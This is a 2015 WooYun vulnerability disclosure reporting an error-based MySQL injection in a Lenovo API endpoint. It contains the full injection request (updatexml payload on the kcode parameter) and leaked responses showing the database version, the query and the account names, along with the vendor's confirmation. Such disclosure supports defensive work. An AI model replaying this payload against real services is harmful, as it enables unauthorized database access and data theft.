当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0100872

漏洞标题:联想某重要业务接口MYSQL注入

相关厂商:联想

漏洞作者: Forever80s

提交时间:2015-03-12 11:11

修复时间:2015-04-26 11:12

公开时间:2015-04-26 11:12

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-12: 细节已通知厂商并且等待厂商处理中
2015-03-12: 厂商已经确认,细节仅向厂商公开
2015-03-22: 细节向核心白帽子及相关领域专家公开
2015-04-01: 细节向普通白帽子公开
2015-04-11: 细节向实习白帽子公开
2015-04-26: 细节向公众公开

简要描述:

详细说明:

问题在调用的api上
api.lenovo.com.cn
本来是报错注入,但是程序没有显示错误细节
request

GET /card/latest?kcode=58114980'%20and+updatexml(1,version(),1)+or%20'7719'%3d'7729&dcode= HTTP/1.1
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US)
Cache-Control: no-cache
Accept-Language: en-us,en;q=0.5
X-Forwarded-For: 127.0.0.1
Host: api.lenovo.com.cn
Accept-Encoding: gzip, deflate


response

{"error_code":"SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '.35'","error_msg":-1,"data":null}


{"error_code":"Scanning error before '@version,1) or '...' when parsing: SELECT [CardData].* FROM [CardData] WHERE start_time<='2015-03-12 10:11:01' AND end_time>'2015-03-12 
10:11:01' AND state='100' AND review_state='400' AND creator_type='200' AND creator_code='58114980' or updatexml(1,@@version,1) or '7719'='7729' AND is_code_overried='0' AND
Anniversary='1' ORDER BY created_time DESC (317)","error_msg":-1,"data":null}


POC:

user()='market@localhost'
database()='marketing'


漏洞证明:

修复方案:

版权声明:转载请注明来源 Forever80s@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2015-03-12 15:07

厂商回复:

谢谢您对联想安全工作的支持,我们会尽快修复漏洞

最新状态:

暂无


漏洞评价:

评论